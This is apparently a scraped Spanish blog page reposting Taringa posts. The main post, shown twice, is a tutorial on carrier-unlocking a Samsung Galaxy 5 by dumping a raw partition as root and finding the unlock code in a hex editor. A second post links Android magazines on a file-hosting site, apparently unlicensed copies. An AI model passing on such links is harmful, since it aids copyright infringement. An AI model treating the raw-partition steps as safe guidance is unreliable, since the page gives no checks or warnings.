/>Bien, una vez que realizamos esto y tenemos nuestro archivo (bml5.img) en nuestra <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">tarjeta</label></span> SD, nos toca trabajar con el, y para poder leer el archivo y obtener nuestro código de desbloqueo necesitamos la aplicación <b>XVI32 Hex Editor</b> para abrir el archivo.<br /><br /><b><span style="color: #ff0000">PROCEDIMIENTO PARA OBTENER EL CODIGO DE <a class="discreet" href="http://www.taringa.net/tags/LIBERACION">LIBERACION</a>:</span></b><br />- Abrimos <em>XVI32 Hex Editor</em>.<br />- Presionar <b>CTRL + O </b>y seleccionar <em>bml5.img </em>que extraimos anteriormente del teléfono (abrir el archivo).<br />- A primera vista solo vamos a ver FF's y 00's, decimales aleatorios y símbolos, pero en algún lugar profundo esta nuestro código de desbloqueo.<br />- Presionar <b>CTRL + F</b> para abrir la <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">ventana</label></span> de busqueda, seleccionar <b>Hex String </b>y pongan en el <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">cuadro</label></span> de búsqueda:<br /><br />FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 30 30 30 30 30 30 30 30<br /><br />- En <em>options</em> marcar "<b>Case sensitive</b>", en <em>direction</em> marcar "<b>Down</b>", y en <em>scope</em> "<b>Begin</b>".<br />- Clic en <b>OK</b> para empezar la búsqueda.<br />- Ahora solo apretamos <b>F3</b> hasta ver nuestro código de desbloqueo.<br /><br />El código de desbloqueo esta conformado por 8 dígitos de texto llano, rodeado de símbolos desconocidos al igual que la siguiente imagen:<br /><br /><img border="0" class="imagen" src="http://www.imagengratis.org/images/hexy.png" /><br /><br />Después de conseguir el código de desbloqueo, escribanlo en algún lugar de la PC o en un papel, apagar el teléfono, retirar la tarjeta <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">SIM</label></span> actual, e insertar una de otra empresa, volver a encenderlo y esperar hasta que inicie y nos pida el código de desbloqueo, lo introducimos y listo, ya tenemos nuestro teléfono desbloqueado!<br /><br /><br /><span style="color: #ff0000"><b>ATENCION</b></span><span style="color: #ff0000"><b>:</b></span> El código de desbloqueo se puede extraer con una ROM personalizada como CM7 en mi caso, el archivo estaba ahi, pero no pueden ser desbloqueados, ya que la ventana para introducir el código de desbloqueo no aparece.<br />Para poder <a class="discreet" href="http://www.taringa.net/tags/desbloquear">desbloquear</a> el teléfono, debemos tener una ROM de archivo que pueda leer cualquier código de <a class="discreet" href="http://www.taringa.net/tags/Samsung">Samsung</a> para que nos abra la ventana de desbloqueo (ejemplos: ROM STOCK <a class="discreet" href="http://www.taringa.net/tags/FROYO">FROYO</a> 2.2, 2.2.1, 2.2.2).<br /><br /><br /><br /><b>Código</b><b> para verificar el estado de liberación:</b><br /><span style="font-size: 12pt; line-height:12pt"><span style="font-family: arial"><span style="color: #111111">*#7465625#<em> - escribir en modo llamada para chequear si esta la restricción desactivada.</em></span><br /><br /><br /><br /><br /><br /><br /><span style="color: #111111">Este procedimiento fue realizado gracias a una prueba hecha en base a un post de <a href="http://forum.xda-developers.com/" rel="nofollow" target="_blank"><b>XDA Developers</b></a>, y a un amigo de la comunidad GRUPO <a class="discreet" href="http://www.taringa.net/tags/ANDROID">ANDROID</a>, llamado "</span><a href="http://www.grupoandroid.com/user/11988-pikuluis/" rel="nofollow" target="_blank"><span style="color: #ff0000"><b>pikuluis</b></span></a><span style="color: #111111">", que me ayudo con la información.</span></span></span><br /><br /><br /><span style="font-size: 12pt; line-height:12pt"><span style="font-family: arial"><span style="color: #111111">Espero les haya sido útil, sin mas, les dejo un abrazo a todos.</span><br /><br /><br /><br /><br /><br /><br /><span style="color: #111111">Franco Andino.</span></span></span><br /><span style="font-size: 12pt; line-height:12pt"><span style="font-family: arial"><span style="color: #111111"><br /></span></span></span><br /><span style="font-size: 12pt; line-height:12pt"><span style="font-family: arial"><span style="color: #111111"><br /></span></span></span><br /><span style="font-size: 12pt; line-height:12pt"><span style="font-family: arial"><span style="color: #111111"><br /></span></span></span><br /><span style="font-size: 12pt; line-height:12pt"><b>IMPORTANTE: </b>este post fue hecho anteriormente en Grupo <a class="discreet" href="http://www.taringa.net/tags/Android">Android</a> por mi, por lo tanto todos los créditos del mismo me pertenecen y cualquier tipo de re-post sera denunciado, sepan respetar ya que a mi me costo lograr este método de liberación, y como verán, los únicos dos post que circulan en Internet son los que yo hice.<br /><br /><br />Saludos y cualquier consulta déjenla en los comentarios, también se aceptan puntos<br /></span></span></div>

[Tutorial] Liberar definitivamente el Samsung Galaxy 5

Que tal gente, esta vez vengo con un gran aporte para los que poseen este gran teléfono, les traigo la manera definitiva para liberar nuestr...

Leer más »

[Tutorial] Liberar definitivamente el Samsung Galaxy 5

<div style="text-align: center;"><span class="post-content" style="display:block;width:710px;overflow:hidden;">Que tal gente, esta vez vengo con un gran aporte para los que poseen este gran teléfono, les traigo la manera definitiva para <b>liberar nuestro <a class="discreet" href="http://www.taringa.net/tags/Samsung">Samsung</a> Galaxy 5 de manera DEFINITIVA.</b><br /><br />Lo mejor de esto, es que necesitamos <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">solo</label></span> un programa en nuestra PC, y son pocos pasos, voy a pasar a explicarles.<br /><br /><br /><br /><br /><span style="color: #ff0000"><b>PROGRAMAS Y <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">APLICACIONES</label></span> NECESARIAS:</b></span><br />- <b>XVI32 Hex Editor <a href="http://api.viglink.com/api/click?format=go&drKey=1359&loc=http%3A%2F%2Fforum.xda-developers.com%2Fshowthread.php%3Ft%3D1335548&v=1&libid=1324972634292&out=http%3A%2F%2Fwww.handshake.de%2Fuser%2Fchmaas%2Fdelphi%2Fdownload%2Fxvi32_252.zip&title=%5BTUTORIAL%5D%20Unlock%20Samsung%20%5BGT-S5570%20%2F%20i5500%20%2F%20Galaxy%20Ace%5D%20-%20xda-developers&txt=XVI32%20Hex%20Editor&jsonp=vglnk_jsonp_13249728813901" rel="nofollow" target="_blank">(DESCARGAR)</a></b><br />- <b>Terminal Emulator (SE DESCARGA DEL MARKET)</b><br /><br /><span style="color: #ff0000"><b>PROCEDIMIENTO PARA EXTRAER EL ARCHIVO NECESARIO:</b></span><br />- Abrir la aplicación <a class="discreet" href="http://www.taringa.net/tags/Terminal%20Emulator">Terminal Emulator</a>.<br />- Dar permisos de Super Usuario a la aplicación.<br />- Escribir las siguientes lineas:<br /><b>- su</b><br /><b>- cat /dev/block/bml5>/sdcard/bml5.img</b><br /><b>- exit</b> (x2)<br /><br /><br />- Cerrar la aplicación.<br /><img border="0" class="imagen" src="http://www.imagengratis.org/images/terminalg.png"><br /><em>bml5= (B - M - L - 5)</em><br /><em>x2= (escribir el comando dos veces)</em><br /><br /><br />Bien, una vez que realizamos esto y tenemos nuestro archivo (bml5.img) en nuestra <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">tarjeta</label></span> SD, nos toca trabajar con el, y para poder leer el archivo y obtener nuestro código de desbloqueo necesitamos la aplicación <b>XVI32 Hex Editor</b> para abrir el archivo.<br /><br /><b><span style="color: #ff0000">PROCEDIMIENTO PARA OBTENER EL CODIGO DE <a class="discreet" href="http://www.taringa.net/tags/LIBERACION">LIBERACION</a>:</span></b><br />- Abrimos <em>XVI32 Hex Editor</em>.<br />- Presionar <b>CTRL + O </b>y seleccionar <em>bml5.img </em>que extraimos anteriormente del teléfono (abrir el archivo).<br />- A primera vista solo vamos a ver FF's y 00's, decimales aleatorios y símbolos, pero en algún lugar profundo esta nuestro código de desbloqueo.<br />- Presionar <b>CTRL + F</b> para abrir la <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">ventana</label></span> de busqueda, seleccionar <b>Hex String </b>y pongan en el <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">cuadro</label></span> de búsqueda:<br /><br />FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 30 30 30 30 30 30 30 30<br /><br />- En <em>options</em> marcar "<b>Case sensitive</b>", en <em>direction</em> marcar "<b>Down</b>", y en <em>scope</em> "<b>Begin</b>".<br />- Clic en <b>OK</b> para empezar la búsqueda.<br />- Ahora solo apretamos <b>F3</b> hasta ver nuestro código de desbloqueo.<br /><br />El código de desbloqueo esta conformado por 8 dígitos de texto llano, rodeado de símbolos desconocidos al igual que la siguiente imagen:<br /><br /><img border="0" class="imagen" src="http://www.imagengratis.org/images/hexy.png"><br /><br />Después de conseguir el código de desbloqueo, escribanlo en algún lugar de la PC o en un papel, apagar el teléfono, retirar la tarjeta <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">SIM</label></span> actual, e insertar una de otra empresa, volver a encenderlo y esperar hasta que inicie y nos pida el código de desbloqueo, lo introducimos y listo, ya tenemos nuestro teléfono desbloqueado!<br /><br /><br /><span style="color: #ff0000"><b>ATENCION</b></span><span style="color: #ff0000"><b>:</b></span> El código de desbloqueo se puede extraer con una ROM personalizada como CM7 en mi caso, el archivo estaba ahi, pero no pueden ser desbloqueados, ya que la ventana para introducir el código de desbloqueo no aparece.<br />Para poder <a class="discreet" href="http://www.taringa.net/tags/desbloquear">desbloquear</a> el teléfono, debemos tener una ROM de archivo que pueda leer cualquier código de <a class="discreet" href="http://www.taringa.net/tags/Samsung">Samsung</a> para que nos abra la ventana de desbloqueo (ejemplos: ROM STOCK <a class="discreet" href="http://www.taringa.net/tags/FROYO">FROYO</a> 2.2, 2.2.1, 2.2.2).<br /><br /><br /><br /><b>Código</b><b> para verificar el estado de liberación:</b><br /><span style="font-size: 12pt; line-height:12pt"><span style="font-family: arial"><span style="color: #111111">*#7465625#<em> - escribir en modo llamada para chequear si esta la restricción desactivada.</em></span><br /><br /><br /><br /><br /><br /><br /><span style="color: #111111">Este procedimiento fue realizado gracias a una prueba hecha en base a un post de <a href="http://forum.xda-developers.com/" rel="nofollow" target="_blank"><b>XDA Developers</b></a>, y a un amigo de la comunidad GRUPO <a class="discreet" href="http://www.taringa.net/tags/ANDROID">ANDROID</a>, llamado "</span><a href="http://www.grupoandroid.com/user/11988-pikuluis/" rel="nofollow" target="_blank"><span style="color: #ff0000"><b>pikuluis</b></span></a><span style="color: #111111">", que me ayudo con la información.</span></span></span><br /><br /><br /><span style="font-size: 12pt; line-height:12pt"><span style="font-family: arial"><span style="color: #111111">Espero les haya sido útil, sin mas, les dejo un abrazo a todos.</span><br /><br /><br /><br /><br /><br /><br /><span style="color: #111111">Franco Andino.</span></span></span><br /><span style="font-size: 12pt; line-height:12pt"><span style="font-family: arial"><span style="color: #111111"><br /></span></span></span><br /><span style="font-size: 12pt; line-height:12pt"><span style="font-family: arial"><span style="color: #111111"><br /></span></span></span><br /><span style="font-size: 12pt; line-height:12pt"><span style="font-family: arial"><span style="color: #111111"><br /></span></span></span><br /><span style="font-size: 12pt; line-height:12pt"><b>IMPORTANTE: </b>este post fue hecho anteriormente en Grupo <a class="discreet" href="http://www.taringa.net/tags/Android">Android</a> por mi, por lo tanto todos los créditos del mismo me pertenecen y cualquier tipo de re-post sera denunciado, sepan respetar ya que a mi me costo lograr este método de liberación, y como verán, los únicos dos post que circulan en Internet son los que yo hice.<br /><br /><br />Saludos y cualquier consulta déjenla en los comentarios, también se aceptan puntos<br /></span></span></div>

[Tutorial] Liberar definitivamente el Samsung Galaxy 5

Que tal gente, esta vez vengo con un gran aporte para los que poseen este gran teléfono, les traigo la manera definitiva para liberar nuestr...

Leer más »

Android magazine (varios)

<div style="text-align: center;"><span class="post-content" style="display:block;width:710px;overflow:hidden;"><span style="font-size: 18pt; line-height:18pt"><span style="color: #cc0000">3</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">;</span></span></em><span style="color: #c80607">R</span><span style="color: #c80607">E</span><span style="color: #c40d0f">V</span><span style="color: #c01417">I</span><span style="color: #c01417">S</span><span style="color: #bc1b1f">T</span><span style="color: #bc1b1f">A</span><span style="color: #b82227">S</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">:</span></span></em><span style="color: #b4282f">E</span><span style="color: #b4282f">N</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">|</span></span></em><span style="color: #ac363f">P</span><span style="color: #ac363f">D</span><span style="color: #a83d47">F</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">'</span></span></em> <span style="color: #a4444f">E</span><span style="color: #a4444f">N</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">|</span></span></em><span style="color: #a04a57">3</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">!</span></span></em><span style="color: #985867">I</span><span style="color: #985867">D</span><span style="color: #945f6f">I</span><span style="color: #945f6f">O</span><span style="color: #906677">M</span><span style="color: #906677">A</span><span style="color: #8c6c7e">S</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">|</span></span></em> <span style="color: #887386">P</span><span style="color: #847a8e">A</span><span style="color: #847a8e">R</span><span style="color: #808196">A</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">,</span></span></em><span style="color: #7c889e">D</span><span style="color: #7c889e">E</span><span style="color: #788ea6">C</span><span style="color: #788ea6">A</span><span style="color: #7495ae">R</span><span style="color: #709cb6">G</span><span style="color: #709cb6">A</span><span style="color: #6ca3be">R</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">|</span></span></em> <span style="color: #68aac6">Y</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">i</span></span></em><span style="color: #64b0ce">L</span><span style="color: #64b0ce">E</span><span style="color: #60b7d6">E</span><span style="color: #5cbede">R</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">i</span></span></em><span style="color: #58c5e6">D</span><span style="color: #58c5e6">E</span><span style="color: #55ccee">L</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">.</span></span></em><span style="color: #51cae4">M</span><span style="color: #51cae4">A</span><span style="color: #4dc9da">S</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">i</span></span></em><span style="color: #49c8d1">P</span><span style="color: #45c7c7">U</span><span style="color: #45c7c7">R</span><span style="color: #41c6be">O</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">f</span></span></em> <span style="color: #3dc5b4">A</span><span style="color: #3dc5b4">N</span><span style="color: #3ac4ab">D</span><span style="color: #36c3a1">R</span><span style="color: #36c3a1">O</span><span style="color: #32c298">I</span><span style="color: #32c298">D</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">|</span></span></em><span style="color: #2ec08e">A</span><span style="color: #2abf85">N</span><span style="color: #2abf85">D</span><span style="color: #26be7b">R</span><span style="color: #23bd72">O</span><span style="color: #23bd72">I</span><span style="color: #1fbc68">D</span><span style="color: #1fbc68">;</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">'</span></span></em><span style="color: #1bbb5f">R</span><span style="color: #17ba55">E</span><span style="color: #17ba55">C</span><span style="color: #13b94c">O</span><span style="color: #0fb842">M</span><span style="color: #0fb842">E</span><span style="color: #0cb739">N</span><span style="color: #0cb739">D</span><span style="color: #11ff00">A</span><span style="color: #11ff00">D</span><span style="color: #10f904">O</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">:</span></span></em> <span style="color: #10f408">S</span><span style="color: #0fef0c">O</span><span style="color: #0fef0c">B</span><span style="color: #0fea10">R</span><span style="color: #0fea10">E</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">,</span></span></em> <span style="color: #0fe514">T</span><span style="color: #0ee018">O</span><span style="color: #0ee018">D</span><span style="color: #0edb1c">O</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">:</span></span></em><span style="color: #0ed620">L</span><span style="color: #0dd124">A</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">.</span></span></em> <span style="color: #0dcc28">P</span><span style="color: #0dcc28">U</span><span style="color: #0dc62c">B</span><span style="color: #0dc62c">L</span><span style="color: #0cc130">I</span><span style="color: #0cbc35">C</span><span style="color: #0cbc35">A</span><span style="color: #0cb739">C</span><span style="color: #0cb739">I</span><span style="color: #0bb23d">O</span><span style="color: #0bb23d">N</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">l</span></span></em> <span style="color: #0bad41">E</span><span style="color: #0ba845">N</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">I</span></span></em><span style="color: #0aa349">I</span><span style="color: #0a9e4d">N</span><span style="color: #0a9e4d">G</span><span style="color: #0a9951">L</span><span style="color: #0a9951">E</span><span style="color: #099355">S</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">.</span></span></em><span style="color: #098e59">P</span><span style="color: #09895d">A</span><span style="color: #09895d">R</span><span style="color: #088461">A</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">f</span></span></em><span style="color: #087f66">L</span><span style="color: #087f66">O</span><span style="color: #087a6a">S</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">!</span></span></em> <span style="color: #07756e">P</span><span style="color: #077072">R</span><span style="color: #077072">I</span><span style="color: #076b76">N</span><span style="color: #076b76">C</span><span style="color: #06667a">I</span><span style="color: #06667a">P</span><span style="color: #06607e">I</span><span style="color: #06607e">A</span><span style="color: #065b82">N</span><span style="color: #055686">T</span><span style="color: #055686">E</span><span style="color: #05518a">S</span><span style="color: #05518a">.</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">!</span></span></em> <span style="color: #054c8e">E</span><span style="color: #044792">S</span><span style="color: #044792">P</span><span style="color: #044296">E</span><span style="color: #043d9b">R</span><span style="color: #043d9b">O</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">(</span></span></em><span style="color: #03389f">L</span><span style="color: #0333a3">E</span><span style="color: #0333a3">S</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">i</span></span></em><span style="color: #032da7">S</span><span style="color: #0228ab">E</span><span style="color: #0223af">A</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">(</span></span></em><span style="color: #021eb3">D</span><span style="color: #021eb3">E</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">/</span></span></em><span style="color: #0119b7">U</span><span style="color: #0114bb">T</span><span style="color: #0114bb">I</span><span style="color: #010fbf">L</span><span style="color: #000ac3">I</span><span style="color: #000ac3">D</span><span style="color: #0005c7">A</span><span style="color: #0005c7">D</span></span><br /><br /><br /><span style="font-size: 24pt; line-height:24pt"><span style="color: olive"><span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">Android</label></span> <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">t</span></span>Magazine<span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">j</span></span> n.1 <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">l</span></span>- <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">t</span></span>Giugno<span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">/</span></span> <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">2011</label></span></span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">r</span></span></em> <span style="color: red">(ITALIANO)</span><br /></span><br /><img border="0" class="imagen" src="http://www.ebook3000.com/upimg/allimg/110707/1854220.jpg" /><br /><br /><img border="0" class="imagen" src="http://mixerxplotion.com/rumba/images/stories/boton-descargar.png" /><br /><br /><a href="http://www.megaupload.com/?d=QNC3QFBP" rel="nofollow" target="_blank">http://www.megaupload.com/?d=QNC3QFBP</a><br /><br /><br /><br /><span style="font-size: 24pt; line-height:24pt"><span style="color: olive">The<span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">j</span></span> Complete <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">:</span></span>Guide <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">/</span></span>To <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">!</span></span><span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">Google</label></span> <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">l</span></span><span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">Android</label></span> <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">j</span></span>- <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">t</span></span><span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">2011</label></span></span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">)</span></span></em><span style="color: red">(INGLES)</span><br /></span><br /><img border="0" class="imagen" src="http://magazinesdownload.com/post/2011/01/20/image.axd?picture=4806_d.jpg" /><br /><br /><img border="0" class="imagen" src="http://mixerxplotion.com/rumba/images/stories/boton-descargar.png" /><br /><br /><a href="http://www.megaupload.com/?d=EG09ZVGA" rel="nofollow" target="_blank">http://www.megaupload.com/?d=EG09ZVGA</a><br /><br /><br /><br /><span style="font-size: 24pt; line-height:24pt"><span style="color: olive">Magazine <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">I</span></span><span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">Android</label></span> <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">r</span></span>- <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">.</span></span>diciembre <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">l</span></span>2011</span><span style="color: red"> <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">(</span></span>(ESPAÑOL)</span></span><br /><br /><img border="0" class="imagen" src="http://i1115.photobucket.com/albums/k542/mauri01/androidmagazine.jpg" style="width: 879px; height: 703px;" /><br /><br /><img border="0" class="imagen" src="http://mixerxplotion.com/rumba/images/stories/boton-descargar.png" style="width: 246px; height: 164px;" /><br /><br /><a href="http://www.megaupload.com/?d=KA47NFTK" rel="nofollow" target="_blank">http://www.megaupload.com/?d=KA47NFTK</a><br /><br /><span style="font-size: 24pt; line-height:24pt">DISFRUTEN</span><br /><img border="0" class="imagen" src="http://i1115.photobucket.com/albums/k542/mauri01/ola.gif" /></span></div>

Android magazine (varios)

3 ; R E V I S T A S : E N | P D F ' E N | 3 ! I D I O M A S | P A R A , D E C A R G A R | Y i L E E R i D E L . M A S i P U...

Leer más »

Android magazine (varios)

<div style="text-align: center;"><span class="post-content" style="display:block;width:710px;overflow:hidden;"><span style="font-size: 18pt; line-height:18pt"><span style="color: #cc0000">3</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">;</span></span></em><span style="color: #c80607">R</span><span style="color: #c80607">E</span><span style="color: #c40d0f">V</span><span style="color: #c01417">I</span><span style="color: #c01417">S</span><span style="color: #bc1b1f">T</span><span style="color: #bc1b1f">A</span><span style="color: #b82227">S</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">:</span></span></em><span style="color: #b4282f">E</span><span style="color: #b4282f">N</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">|</span></span></em><span style="color: #ac363f">P</span><span style="color: #ac363f">D</span><span style="color: #a83d47">F</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">'</span></span></em> <span style="color: #a4444f">E</span><span style="color: #a4444f">N</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">|</span></span></em><span style="color: #a04a57">3</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">!</span></span></em><span style="color: #985867">I</span><span style="color: #985867">D</span><span style="color: #945f6f">I</span><span style="color: #945f6f">O</span><span style="color: #906677">M</span><span style="color: #906677">A</span><span style="color: #8c6c7e">S</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">|</span></span></em> <span style="color: #887386">P</span><span style="color: #847a8e">A</span><span style="color: #847a8e">R</span><span style="color: #808196">A</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">,</span></span></em><span style="color: #7c889e">D</span><span style="color: #7c889e">E</span><span style="color: #788ea6">C</span><span style="color: #788ea6">A</span><span style="color: #7495ae">R</span><span style="color: #709cb6">G</span><span style="color: #709cb6">A</span><span style="color: #6ca3be">R</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">|</span></span></em> <span style="color: #68aac6">Y</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">i</span></span></em><span style="color: #64b0ce">L</span><span style="color: #64b0ce">E</span><span style="color: #60b7d6">E</span><span style="color: #5cbede">R</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">i</span></span></em><span style="color: #58c5e6">D</span><span style="color: #58c5e6">E</span><span style="color: #55ccee">L</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">.</span></span></em><span style="color: #51cae4">M</span><span style="color: #51cae4">A</span><span style="color: #4dc9da">S</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">i</span></span></em><span style="color: #49c8d1">P</span><span style="color: #45c7c7">U</span><span style="color: #45c7c7">R</span><span style="color: #41c6be">O</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">f</span></span></em> <span style="color: #3dc5b4">A</span><span style="color: #3dc5b4">N</span><span style="color: #3ac4ab">D</span><span style="color: #36c3a1">R</span><span style="color: #36c3a1">O</span><span style="color: #32c298">I</span><span style="color: #32c298">D</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">|</span></span></em><span style="color: #2ec08e">A</span><span style="color: #2abf85">N</span><span style="color: #2abf85">D</span><span style="color: #26be7b">R</span><span style="color: #23bd72">O</span><span style="color: #23bd72">I</span><span style="color: #1fbc68">D</span><span style="color: #1fbc68">;</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">'</span></span></em><span style="color: #1bbb5f">R</span><span style="color: #17ba55">E</span><span style="color: #17ba55">C</span><span style="color: #13b94c">O</span><span style="color: #0fb842">M</span><span style="color: #0fb842">E</span><span style="color: #0cb739">N</span><span style="color: #0cb739">D</span><span style="color: #11ff00">A</span><span style="color: #11ff00">D</span><span style="color: #10f904">O</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">:</span></span></em> <span style="color: #10f408">S</span><span style="color: #0fef0c">O</span><span style="color: #0fef0c">B</span><span style="color: #0fea10">R</span><span style="color: #0fea10">E</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">,</span></span></em> <span style="color: #0fe514">T</span><span style="color: #0ee018">O</span><span style="color: #0ee018">D</span><span style="color: #0edb1c">O</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">:</span></span></em><span style="color: #0ed620">L</span><span style="color: #0dd124">A</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">.</span></span></em> <span style="color: #0dcc28">P</span><span style="color: #0dcc28">U</span><span style="color: #0dc62c">B</span><span style="color: #0dc62c">L</span><span style="color: #0cc130">I</span><span style="color: #0cbc35">C</span><span style="color: #0cbc35">A</span><span style="color: #0cb739">C</span><span style="color: #0cb739">I</span><span style="color: #0bb23d">O</span><span style="color: #0bb23d">N</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">l</span></span></em> <span style="color: #0bad41">E</span><span style="color: #0ba845">N</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">I</span></span></em><span style="color: #0aa349">I</span><span style="color: #0a9e4d">N</span><span style="color: #0a9e4d">G</span><span style="color: #0a9951">L</span><span style="color: #0a9951">E</span><span style="color: #099355">S</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">.</span></span></em><span style="color: #098e59">P</span><span style="color: #09895d">A</span><span style="color: #09895d">R</span><span style="color: #088461">A</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">f</span></span></em><span style="color: #087f66">L</span><span style="color: #087f66">O</span><span style="color: #087a6a">S</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">!</span></span></em> <span style="color: #07756e">P</span><span style="color: #077072">R</span><span style="color: #077072">I</span><span style="color: #076b76">N</span><span style="color: #076b76">C</span><span style="color: #06667a">I</span><span style="color: #06667a">P</span><span style="color: #06607e">I</span><span style="color: #06607e">A</span><span style="color: #065b82">N</span><span style="color: #055686">T</span><span style="color: #055686">E</span><span style="color: #05518a">S</span><span style="color: #05518a">.</span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">!</span></span></em> <span style="color: #054c8e">E</span><span style="color: #044792">S</span><span style="color: #044792">P</span><span style="color: 